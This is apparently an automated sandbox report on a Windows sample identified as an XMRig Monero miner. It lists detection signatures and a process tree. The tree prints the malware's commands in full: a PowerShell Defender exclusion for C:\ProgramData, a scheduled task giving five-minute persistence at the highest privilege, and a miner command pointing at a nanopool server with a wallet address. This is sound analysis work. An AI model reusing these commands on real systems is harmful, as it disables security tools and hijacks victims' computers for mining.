Analysis
- max time kernel
81s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
25/12/2022, 17:13
General
- Target file.exe
- Size 3.3MB
- Sample221225-vreasabg75
- SHA256 9cf5b3676ddc2e66483d1894dc9a2a2bd02bfaa9926822451b5af1db4bf98269
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1536-143-0x00007FFED7B70000-0x00007FFED7CBE000-memory.dmp
memory/1536-144-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/1536-135-0x00007FFEF3150000-0x00007FFEF3162000-memory.dmp
memory/1536-136-0x00007FFED9630000-0x00007FFED96ED000-memory.dmp
memory/1536-137-0x00007FFEF72E0000-0x00007FFEF7481000-memory.dmp
memory/1536-139-0x0000000000490000-0x000000000083A000-memory.dmp
memory/1536-140-0x0000000000400000-0x0000000000441000-memory.dmp
memory/1536-141-0x00007FFEF7110000-0x00007FFEF713B000-memory.dmp
memory/1536-138-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/1536-145-0x00007FFEF55D0000-0x00007FFEF55F7000-memory.dmp
memory/1536-134-0x00007FFEF7540000-0x00007FFEF75DE000-memory.dmp
memory/1536-155-0x00007FFED48E0000-0x00007FFED4915000-memory.dmp
memory/1536-142-0x0000000000490000-0x000000000083A000-memory.dmp
memory/1536-168-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/1536-167-0x0000000000490000-0x000000000083A000-memory.dmp
memory/1536-158-0x00007FFEF4600000-0x00007FFEF463B000-memory.dmp
memory/1536-157-0x00007FFEF7A60000-0x00007FFEF7ACB000-memory.dmp
memory/1536-151-0x0000000000400000-0x0000000000441000-memory.dmp
memory/1536-150-0x0000000000490000-0x000000000083A000-memory.dmp
memory/1536-152-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/1536-133-0x00007FFEDA1C0000-0x00007FFEDA26A000-memory.dmp
memory/1536-156-0x00007FFEDA5A0000-0x00007FFEDA6A2000-memory.dmp
memory/2308-147-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/2308-149-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/2308-148-0x0000018273890000-0x00000182738B2000-memory.dmp
memory/4848-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4848-163-0x0000021BF3B60000-0x0000021BF3B80000-memory.dmp
memory/4848-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4848-165-0x0000021BF5530000-0x0000021BF5570000-memory.dmp
memory/4848-166-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4848-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4848-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4848-169-0x0000021BF5590000-0x0000021BF55B0000-memory.dmp
memory/4848-170-0x0000021BF5570000-0x0000021BF5590000-memory.dmp
memory/4848-171-0x0000021BF5590000-0x0000021BF55B0000-memory.dmp
memory/4848-172-0x0000021BF5570000-0x0000021BF5590000-memory.dmp